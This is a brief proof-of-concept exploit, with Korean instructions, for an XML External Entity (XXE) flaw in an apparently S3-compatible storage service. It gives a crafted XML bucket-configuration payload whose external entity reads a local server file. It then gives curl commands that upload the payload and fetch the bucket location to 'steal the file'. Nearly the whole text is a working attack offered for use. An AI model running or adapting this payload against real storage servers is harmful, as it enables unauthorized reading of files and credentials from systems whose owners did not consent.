
XML External Entity PoC in an S3.
XML External Entity (XXE) 취약점 악용
test.xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///path/to/file">
]>
<CreateBucketConfiguration>
<LocationConstraint>&xxe;</LocationConstraint>
</CreateBucketConfiguration>
로컬 머신에서 버킷으로 test.xml을 업로드하려면 curl을 사용하세요.
curl -X PUT http://127.0.0.1:PORT/TB1 -H "Content-Type: application/xml" -d @test.xml
익스플로잇을 트리거하고 파일을 탈취하세요.
curl http://127.0.0.1:PORT/TB1?location